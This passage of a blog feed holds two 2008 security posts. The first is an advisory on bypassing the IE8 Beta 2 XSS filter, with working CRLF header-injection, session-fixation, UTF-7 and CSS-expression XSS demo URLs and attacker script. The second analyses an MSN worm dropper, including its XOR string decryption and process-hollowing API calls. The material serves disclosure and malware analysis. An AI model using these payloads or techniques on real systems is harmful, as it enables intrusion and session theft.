/&gt;Demos:&lt;br /&gt;http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%&lt;br /&gt;0aLocation:http://www.micros0ft.com%0d%0a%0d%0a&lt;br /&gt;&lt;br /&gt;http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%0aSet-&lt;br /&gt;Cookie:sessionid%3dblablablabla_bulk_user_md5_sessionid%0d%0a%0d%&lt;br /&gt;0a[html][body]The server is busy, try again in 30 minutes[/body][/html]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CRLF+&quot;XDomainRequestAllowed&quot; --] XDomainRequest Enabling:&lt;br /&gt;---------------------------------------------------------&lt;br /&gt;Having a CRLF injection already gives an attacker the ability to overwrite&lt;br /&gt;the HTTP response BODY, which means he can create a new hidden&lt;br /&gt;image/frame/form and send data through it, data such as the domains cookie.&lt;br /&gt;But it is clear that overwriting the body using CRLF and making it look the&lt;br /&gt;same requires a &quot;fetcher&quot; server side script on the same domain. Also a&lt;br /&gt;network  filter or a WAF may deny injection of double CRLF (%0d%0a%0d%0a).&lt;br /&gt;As time goes by and security evolves, the attacker should have a harder&lt;br /&gt;time sending this information out silently.&lt;br /&gt;&lt;br /&gt;In IE8, there is a new object called &quot;XDomainRequest&quot; which is designed to&lt;br /&gt;allow safe data exchange across domains.&lt;br /&gt;More information at:&lt;br /&gt;http://msdn.microsoft.com/en-us/library/cc288108(VS.85).aspx&lt;br /&gt;&lt;br /&gt;The browser will only allow the client(the JavaScript code) to interact&lt;br /&gt;with that website if the website returns the &quot;XDomainRequestAllowed&quot;&lt;br /&gt;Boolean header.&lt;br /&gt;&lt;br /&gt;Using CRLF to inject XDomainRequestAllowed header an attacker can interact&lt;br /&gt;in a CROSS DOMAIN mode with that website without his consent, as it is&lt;br /&gt;being faked by the injected header. This attack concept on the XDomainRequest&lt;br /&gt;in general should be named &quot;XAI&quot; (XDR Allowed Injection)&lt;br /&gt;&lt;br /&gt;This is a demo request to a CRLF vulnerable web page:&lt;br /&gt;http://www.linkstofiles.com/crlf.py?url=cooki1%3dvalue1;%0d%&lt;br /&gt;0aXDomainRequestAllowed: 1&lt;br /&gt;&lt;br /&gt;This is how the attacker&#39;s script would look like:&lt;br /&gt;------------------------------------------------&lt;br /&gt;[script]&lt;br /&gt;try {&lt;br /&gt;     xdr = new XDomainRequest();&lt;br /&gt;     xdr.onload = function() {&lt;br /&gt;       alert(xdr.responseText);&lt;br /&gt;     }&lt;br /&gt;     xdr.open(&quot;GET&quot;, &quot;http://www.linkstofiles.com/crlf.py?url=cooki1%&lt;br /&gt;     3dvalue1;%0d%0&lt;br /&gt;     aXDomainRequestAllowed: 1&quot;);&lt;br /&gt;     xdr.send(&quot;&quot;);&lt;br /&gt;} catch (e) {&lt;br /&gt;   alert(e.description)&lt;br /&gt;}&lt;br /&gt;[/script]&lt;br /&gt;------------------------------------------------&lt;br /&gt;The attacker can now transfer data to/from that domain other domains with just 1&lt;br /&gt;header injection, a new, by design weapon to replace leak data with XSS.&lt;br /&gt;An attacker can use the new feature to interact with web servers (i.e. send and&lt;br /&gt;receive data from those domains) by pretending to have the authorization to do so,&lt;br /&gt;using a single CRLF header injection.&lt;br /&gt;This is an ultimate vulnerability that exploits this new feature to enable easy&lt;br /&gt;information data leakage and cross domain attacks.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;UTF-7 Websites are not filtered:&lt;br /&gt;-------------------------------------------&lt;br /&gt;When the page charset is set to utf-7 whether by the http header or by a&lt;br /&gt;meta tag, the Anti-XSS filter will not apply on this page, allowing a utf-7&lt;br /&gt;encoded injected html code to execute. In other words, utf-7 content sent&lt;br /&gt;to utf-7 encoded web pages is not filtered, therefore allowing XSS attacks&lt;br /&gt;on utf-7 web pages.&lt;br /&gt;&lt;br /&gt;I must admit that I have never met a website written in utf-7 for non-malicious&lt;br /&gt;purposes, but it is still a feature and there are many website that&lt;br /&gt;implement language templates and receive the charset as a parameter from&lt;br /&gt;the query string or the cookie.&lt;br /&gt;&lt;br /&gt;Demos:&lt;br /&gt;http://www.linkstofiles.com/xssurlnoparams.py/+AD4-+ADw-script+AD4-alert&lt;br /&gt;(&#39;see?&#39;)+ADw-/script+AD4-+ADw-div&lt;br /&gt;&lt;br /&gt;http://www.linkstofiles.com/xssurlnoparams.py?data=+AD4-+ADw-script+AD4-&lt;br /&gt;alert(&#39;see?&#39;)&lt;br /&gt;+ADw-/script+AD4-+ADw-div&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Direct bypass using any double injection:&lt;br /&gt;-----------------------------------------&lt;br /&gt;A quote from the filter&#39;s architecture implementation:&lt;br /&gt;[[[&lt;br /&gt;&quot;If a page contains multiple nearby injection points, attacks can be&lt;br /&gt;constructed that thwart the XSS Filter.&quot;&lt;br /&gt;]]]&lt;br /&gt;Well, that is not accurate.&lt;br /&gt;&lt;br /&gt;ANY second appearance of the injected data will allow execution of script&lt;br /&gt;code. The concept is that data inside tags such as script and style is&lt;br /&gt;parsed by their own parser.&lt;br /&gt;&lt;br /&gt;The CSS(style) parser has 2 characteristics that differentiate it from the&lt;br /&gt;script parser:&lt;br /&gt;1) It is a silent parser (there is no indication of failure)&lt;br /&gt;2) It is executing as batch operations per block, which means that closing&lt;br /&gt;A NON EXISTING (never opened) block will cause parsing of the following&lt;br /&gt;blocks. What does this mean?!?!&lt;br /&gt;&lt;br /&gt;It means that in a quite common scenario of any text injected just twice at&lt;br /&gt;any position inside the HTML(except inside a textarea/script/style tags,&lt;br /&gt;these can also be fixed by putting [/textarea] in a css comment) of the&lt;br /&gt;page will cause at the first point where the code is injected to the page&lt;br /&gt;&lt;br /&gt;} BODY{a:expression(alert(&#39;hi&#39;))};[/style]***[style]***&lt;br /&gt;&lt;br /&gt;a style tag is opened and anything after it will be ignored by a silent css&lt;br /&gt;parser error and on the second injection:&lt;br /&gt;&lt;br /&gt;***} BODY{a:expression(alert(&#39;hi&#39;))};[/style]***[style]&lt;br /&gt;&lt;br /&gt;a new style block will be opened, rendered and this would automatically&lt;br /&gt;execute script code!&lt;br /&gt;&lt;br /&gt;Demo:&lt;br /&gt;http://www.linkstofiles.com/doublexss.py?username=} BODY{a:expression&lt;br /&gt;(alert(&#39;hi&#39;))};[/style][style]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Filter False Positives:&lt;br /&gt;-----------------------&lt;br /&gt;The following text send to a page as parameters will trigger a false-positive&lt;br /&gt;match by the Anti-XSS filter:&lt;br /&gt;&lt;br /&gt;[&quot;script&quot;]alert(&#39;innocent code&#39;)[/script]&lt;br /&gt;[&#39;script&#39;]alert(&#39;innocent code&#39;)[/script]&lt;br /&gt;&quot;[[whatever]script]alert(&#39;innocent code&#39;)[/script]&lt;br /&gt;&lt;br /&gt;The following should trigger on most CSS design forums with a preview&lt;br /&gt;feature:&lt;br /&gt;[style]@import[/style]&lt;br /&gt;[style]x:y(1)[/style]&lt;br /&gt;&lt;br /&gt;This means that a CSS tutorial web page cannot send to itself or to another&lt;br /&gt;page the following raw text (whether it will be treated as text or as HTML&lt;br /&gt;by the receiving page):&lt;br /&gt;&lt;br /&gt;[style]color:rgb(1,2,3)[/style]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Vendor Status:&lt;br /&gt;Microsoft&#39;s response regarding the CRLF issues:&lt;br /&gt;“We will not be lead to compromise the XSS Filter’s web site compatibility&lt;br /&gt;by attempting to  address every conceivable XSS attack scenario.”&lt;br /&gt;&lt;br /&gt;Microsoft&#39;s response regarding the STYLE issue:&lt;br /&gt;&quot;We hope we can get a change in prior to IE8 RC1&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Credit:&lt;br /&gt;Rafel Ivgi&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Greetings:&lt;br /&gt;David Ross, the_pull,  Liu Die Yu, Arkon, JonD, lorgandon, xbxice, Budo, Reiter,&lt;br /&gt;Inga, Lucid, h.p.c, Dror Shalev, wir3less, Zull, 0fir0, dbrod, ax1les,&lt;br /&gt;whitehawkofjustice&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Disclaimer&lt;br /&gt;The information within this paper may change without notice.&lt;br /&gt;Use of this information constitutes acceptance for use in an&lt;br /&gt;AS IS condition. There are no warranties, implied or express,&lt;br /&gt;with regard to this information. In no event shall the author&lt;br /&gt;be liable for any direct or indirect damages whatsoever&lt;br /&gt;arising out of or in connection with the use or spread of&lt;br /&gt;this information. Any use of this information is at the&lt;br /&gt;user&#39;s own risk.</content><link rel='replies' type='application/atom+xml' href='http://rafelivgi.blogspot.com/feeds/8020250816013891697/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9114770521689436630/8020250816013891697' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/8020250816013891697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9114770521689436630/posts/default/8020250816013891697'/><link rel='alternate' type='text/html' href='http://rafelivgi.blogspot.com/2008/10/internet-explorer-80-beta-2-anti-xss.html' title='Internet Explorer 8.0 Beta 2 Anti-XSS Filter'/><author><name>Rafel Ivgi</name><uri>http://www.blogger.com/profile/10296831179799063154</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkk7HkMIVPd0QUETWVOXtY1jYINxGwuosuK27jEKURenob4mveO_Px4BDvnl7fNt9XjSPpIco2b2mlX8VitOAHAfD6OJDr5xpqMbDN_uKYlkeRHsihCNGrkcNRj6bkkQ/s220/rafel.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9114770521689436630.post-8223973438504322348</id><published>2008-11-12T13:37:00.000-08:00</published><updated>2008-11-12T17:14:01.001-08:00</updated><title type='text'>A new MSN Worm</title><content type='html'>Are viruses attracted to me specifically or it happens to everyone and they just don&#39;t notice or say nothing about it. It getting really hard to speak with people using instant messengers and to be sure it is them sending you a message and not a virus.&lt;br /&gt;&lt;br /&gt;Before i begin, let&#39;s notice a few close viruses :)&lt;br /&gt;This: http://www.cisrt.org/enblog/read.php?106&lt;br /&gt;Is a different one, older one from July. Reported and still not fully detected by vendors.&lt;br /&gt;&lt;br /&gt;Now for the painful part, this:&lt;br /&gt;http://blog.threatfire.com/2008/06/msn-im-worm.html&lt;br /&gt;a little older variant that was covered in June!!! that is 5 month ago!! the detection rates were nasty, they still are as you will see afterwards...&lt;br /&gt;The point I don&#39;t get is why don&#39;t AV vendors take care of the missed detections at least AFTER some security researcher publishes an analysis?!&lt;br /&gt;&lt;br /&gt;I got a message from a friend who is currently having a trip in thailand and i was amazed to see that his computer sent me a message with a link with my msn email in it. I clicked the link and here a file download prompt pops up and the file name is: &quot;virus-PIC006.JPG-www.myspace.exe&quot;.&lt;br /&gt;Well, as tired as i may be, i would never be THAT tired to execute it :)&lt;br /&gt;&lt;br /&gt;So i saved it and started to analyze!&lt;br /&gt;Well what is it? it is a self extracting cab archive(almost original :) with resource details spoofed to be a microsoft file! (it even looks like it was edited manually using a tool such as Resource Hacker)&lt;br /&gt;File Version: &quot;6.0.2900.2180&quot;&lt;br /&gt;Description: &quot;Win32 Cabinet Self-Extractor                                           &quot; (may be they thought we won&#39;t notice the spaces :)&lt;br /&gt;Company: &quot;Microsoft Corporation&quot;&lt;br /&gt;File Version: &quot;6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)&quot;&lt;br /&gt;Internal Name: &quot;Wextract                &quot;&lt;br /&gt;Language: &quot;English (United States)&quot;&lt;br /&gt;Original File name: &quot;WEXTRACT.EXE           &quot;&lt;br /&gt;Product Name: &quot;Microsoft® Windows® Operating System&quot;&lt;br /&gt;Product Version: &quot;6.00.2900.2180&quot;&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSlH5PKcMrOy5xi4wjBHHjAa-9BEqoENf0N-rAuDPO5Fo3tsyxXAiNzqC__Pt-SHQyJZonnTgwKcraOluCw4DaYn6_zLVW6jem7BozS-059Eql-h29J4-8moNtzqSF1sIpysLC3cZMZ3E8/s1600-h/description.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 289px; height: 400px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSlH5PKcMrOy5xi4wjBHHjAa-9BEqoENf0N-rAuDPO5Fo3tsyxXAiNzqC__Pt-SHQyJZonnTgwKcraOluCw4DaYn6_zLVW6jem7BozS-059Eql-h29J4-8moNtzqSF1sIpysLC3cZMZ3E8/s400/description.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5267895414794130226&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well again it seems that Winrar is more effective than an Anti-Virus, where it detects it as a self-extracting archive so i know it&#39;s no simple exe:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuXal2ieIP0q69nniYc0DljH_6bGtjXtUDsk3ntNEw-bU9TAyH9tg9-C4av0iPQBjKJRyv9wVH-FhL543CnJFF2oZ0t3Vn4U3bypXeVqFbp5cEOWzJNY1_MdSMsaNKkbBhC9gjK29tUgtK/s1600-h/sfx.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 290px; height: 400px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuXal2ieIP0q69nniYc0DljH_6bGtjXtUDsk3ntNEw-bU9TAyH9tg9-C4av0iPQBjKJRyv9wVH-FhL543CnJFF2oZ0t3Vn4U3bypXeVqFbp5cEOWzJNY1_MdSMsaNKkbBhC9gjK29tUgtK/s400/sfx.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5267895607832202930&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The funniest think about this &quot;trap file&quot; is that it has double extension of .jpg...........exe that comes with the default icon of a jpeg file&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKfEiRdc_QvqbXeuiTTpen1WQ1AIwiEoBlkjkY333T8ItmpsP5KcCTGK0XdrQqOTbMYEGsQmXeGFXqFLYVf7AokpT2EEJZX5YiOXMRX3hrGfuIIS7V8Ux7HvaVLvYOb0OzAbaAZR-UXlxS/s1600-h/jpgicon.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 78px; height: 90px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKfEiRdc_QvqbXeuiTTpen1WQ1AIwiEoBlkjkY333T8ItmpsP5KcCTGK0XdrQqOTbMYEGsQmXeGFXqFLYVf7AokpT2EEJZX5YiOXMRX3hrGfuIIS7V8Ux7HvaVLvYOb0OzAbaAZR-UXlxS/s400/jpgicon.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5267901670621875058&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BUT when you switch to DETAILS view in the browser, then you see its 16x16 icon which is a setup icon:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglWVhLtIQOiXKbk8BTzIq2TdsDYhlu_SikHctMUeJHum_1hMdlGrZ_jQ2Y3JtCZCGWnkKUDbLKBkqnVDcx5VZK1ADWIiTUnPAw1KukxAnkM-B89uYYtQfU0v2oOaGZJMkVHHmpvedKj6Jx/s1600-h/setupicon.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 400px; height: 15px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglWVhLtIQOiXKbk8BTzIq2TdsDYhlu_SikHctMUeJHum_1hMdlGrZ_jQ2Y3JtCZCGWnkKUDbLKBkqnVDcx5VZK1ADWIiTUnPAw1KukxAnkM-B89uYYtQfU0v2oOaGZJMkVHHmpvedKj6Jx/s400/setupicon.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5267901937882177650&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dear bad guys! use some of that money you steal to do some Q&amp;amp;A for your bot droppers!&lt;br /&gt;O.K let&#39;s see if our friends know it:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3bVz9FE1qtTLijUpJeRZEKOwDPgNhdG4hyJYPIpWAINDqC1YWhs8DgyNyih4sel38pYSCZFYCMGRlZhfNmwwVpo5K3t4Bh_GhkdR_1m9OZ2KWuMwW1He-9NDaCkKYkA-JFlvcJXq6x-7z/s1600-h/avs1.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 244px; height: 400px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3bVz9FE1qtTLijUpJeRZEKOwDPgNhdG4hyJYPIpWAINDqC1YWhs8DgyNyih4sel38pYSCZFYCMGRlZhfNmwwVpo5K3t4Bh_GhkdR_1m9OZ2KWuMwW1He-9NDaCkKYkA-JFlvcJXq6x-7z/s400/avs1.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5267898144054932306&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9 of 36...wow!&lt;br /&gt;Could it be that Symantec, Mcafee, Kaspersky, F-Secure, Panda, Sophos all the great brands does not even suspect it?! and that Microsoft which is quite new in the AV business catches it?! I want to point out &lt;span style=&quot;font-weight: bold;&quot;&gt;Dr. Web&lt;/span&gt; again for being&lt;span style=&quot;font-weight: bold;&quot;&gt; a good detector&lt;/span&gt;(comparing to the concept of an Anti-Something) as Kaspersky once were, before they went to enterprise and from tech to GUI (if i was kaspersky, i would by dr web...just a thought)&lt;br /&gt;&lt;br /&gt;So we extract the sfx and we get a file called test.exe with a jpg icon, this time it&#39;s not an archive, here comes the real shame, it is not even packed!!!&lt;br /&gt;Let&#39;s see if our friends know it:&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPVOkTVIWjEAZ-ah1XCD4ry_LU4EMBbWkjMMU3FCyswM-U8_zd8tHa0caon6wCdEbgN1JFts4uco-jbqjbigDrRktys48u3C32ooNQI186tmNxjfu7GbHx1NfItrF9QgQagNws74m3NYoB/s1600-h/avs2.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 246px; height: 400px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPVOkTVIWjEAZ-ah1XCD4ry_LU4EMBbWkjMMU3FCyswM-U8_zd8tHa0caon6wCdEbgN1JFts4uco-jbqjbigDrRktys48u3C32ooNQI186tmNxjfu7GbHx1NfItrF9QgQagNws74m3NYoB/s400/avs2.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5267934936140397282&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;it is just a simple VC++ executable that uses dynamic function calls with the simplest use of a rolling xor running on the string &quot;somenigz&#39;, quite amusing :)&lt;br /&gt;&lt;br /&gt;.text:0040122E                 mov     [ebp+var_340], 0&lt;br /&gt;.text:00401238                 push    offset Source   ; &quot;¦âöÉàöíâPÆöéé¦&quot;&lt;br /&gt;.text:0040123D                 call    sub_401000&lt;br /&gt;.text:00401242                 add     esp, 4&lt;br /&gt;.text:00401245                 push    eax             ; lpProcName&lt;br /&gt;.text:00401246                 push    offset aFgqfaXaa ; &quot;Üöâƒö¥-+¯ò¥¥&quot;&lt;br /&gt;.text:0040124B                 call    sub_401000&lt;br /&gt;.text:00401250                 add     esp, 4&lt;br /&gt;.text:00401253                 push    eax             ; lpModuleName&lt;br /&gt;.text:00401254                 call    ds:GetModuleHandleA&lt;br /&gt;.text:0040125A                 push    eax             ; hModule&lt;br /&gt;.text:0040125B                 call    ds:GetProcAddress&lt;br /&gt;&lt;br /&gt;You can see these letters &quot;Üöâƒö¥-+¯ò¥¥&quot; which are clearly XORed sent to a function, the classic &quot;decrypt my dll name and then the function in it and call it&quot;. Of course &quot;sub_401000&quot; is the decrypt function:&lt;br /&gt;&lt;br /&gt;.text:0040105D Rolling_Xor_Loop:                       ; CODE XREF: sub_401000+85 j&lt;br /&gt;.text:0040105D                 mov     edx, [ebp+var_C]&lt;br /&gt;.text:00401060                 add     edx, 1&lt;br /&gt;.text:00401063                 mov     [ebp+var_C], edx&lt;br /&gt;.text:00401066&lt;br /&gt;.text:00401066 loc_401066:                             ; CODE XREF: sub_401000+5B j&lt;br /&gt;.text:00401066                 cmp     [ebp+var_C], 9&lt;br /&gt;.text:0040106A                 jnb     short loc_401087&lt;br /&gt;.text:0040106C                 mov     eax, [ebp+Str]&lt;br /&gt;.text:0040106F                 add     eax, [ebp+var_8]&lt;br /&gt;.text:00401072                 mov     ecx, [ebp+var_C]&lt;br /&gt;.text:00401075                 mov     dl, [eax]&lt;br /&gt;.text:00401077                 xor     dl, byte ptr aSomenigz[ecx] ; &quot;somenigz&quot;&lt;br /&gt;.text:0040107D                 mov     eax, [ebp+Str]&lt;br /&gt;.text:00401080                 add     eax, [ebp+var_8]&lt;br /&gt;.text:00401083                 mov     [eax], dl&lt;br /&gt;.text:00401085                 jmp     short Rolling_Xor_Loop&lt;br /&gt;&lt;br /&gt;Decoded XORed strings, by order, are:&lt;br /&gt;CreateProcessA&lt;br /&gt;kernel32.dll&lt;br /&gt;NtUnmapViewOfSection&lt;br /&gt;ntdll.dll&lt;br /&gt;VirtualAllocEx&lt;br /&gt;kernel32.dll&lt;br /&gt;WriteProcessMemory&lt;br /&gt;kernel32.dll&lt;br /&gt;GetThreadContext&lt;br /&gt;kernel32.dll&lt;br /&gt;SetThreadContext&lt;br /&gt;kernel32.dll&lt;br /&gt;ResumeThread&lt;br /&gt;&lt;br /&gt;This shows us this was not written by simple kids! this is a professional code injection using thread contexts, this teaches us that the guys &quot;on the wild&quot; have learned beyond besides CreateRemoteThread!!!&lt;br /&gt;&lt;br /&gt;It seems that this version relates to: burimilol.com which is unknown to &quot;norton safe web&quot; (yeah right): https://safeweb.norton.com/report/show?name=burimilol.com but it&#39;s older variant is known &quot;burimilol.net&quot;: https://safeweb.norton.com/report/show?name=burimilol.net&lt;br /&gt;What separates us from the criminals is the &quot;protected domain services&quot; which is mostly used by criminals...again no internet cops :)&lt;br /&gt;&lt;br /&gt;Now it executes itself! parses its duplicate&#39;s PE and sections and injects code into it!&lt;br /&gt;Then it dumps a hidden exe in %windir%(c:\windows) called fxstaller.exe(48kb) which this time has a jpg icon in both the 32x32 and the 16x16 :)&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2hZJOg5LJaa1CudWb7qp2q-Q2MNcxCrcYqhdXJRHmGk50YKJWqxflLJWwyfyiqBRajChQTIGTDUbD05slImdyXwyl3ryu8ScZtMpI29y-k1grOLVx-NJ5nhiNy5e14LRabqcPsE7mjG8N/s1600-h/avs3fxinstaller.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 246px; height: 400px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2hZJOg5LJaa1CudWb7qp2q-Q2MNcxCrcYqhdXJRHmGk50YKJWqxflLJWwyfyiqBRajChQTIGTDUbD05slImdyXwyl3ryu8ScZtMpI29y-k1grOLVx-NJ5nhiNy5e14LRabqcPsE7mjG8N/s400/avs3fxinstaller.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5267938201360487570&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This exe drops/downloads image.exe(48kb) in a new temp folder in %temp%&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBSinvEmZ8F9dH13vkHDgfw-xxlHkwztGAPDRVqr2-BywtoCj4ybhL5zOq1Ob1TaIUbQny75PAKCgVuUAVT5hpnhDNa_Ox-xXy1WxdvHMlB21Z4l0jy4hKx5C3aNkmS4DzpgD77fJ91ojH/s1600-h/avs4image.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 245px; height: 400px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBSinvEmZ8F9dH13vkHDgfw-xxlHkwztGAPDRVqr2-BywtoCj4ybhL5zOq1Ob1TaIUbQny75PAKCgVuUAVT5hpnhDNa_Ox-xXy1WxdvHMlB21Z4l0jy4hKx5C3aNkmS4DzpgD77fJ91ojH/s400/avs4image.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5267938538560928914&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This results are crippy!!! i guess Dr.Web also failed and there is no one left to trust but Microsoft!&lt;br /&gt;Then service.exe(144kb) is dropped at %windir$\system32\service.exe, a hidden file with a darth vader icon :)&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6Ar8AlWnxjqNovWA2nOx3aypelhUwCLQP9mXE738KtxftaSM-pA0S4tXfZf29js4jH85oVqs_kHM5pZMvAY5sLz3fjXt4zvLngdLbLGKN1aQkbA1oVc07adrSGXt6orK4heYlGPyA6Vs9/s1600-h/avs5service.JPG&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 246px; height: 400px;&quot; 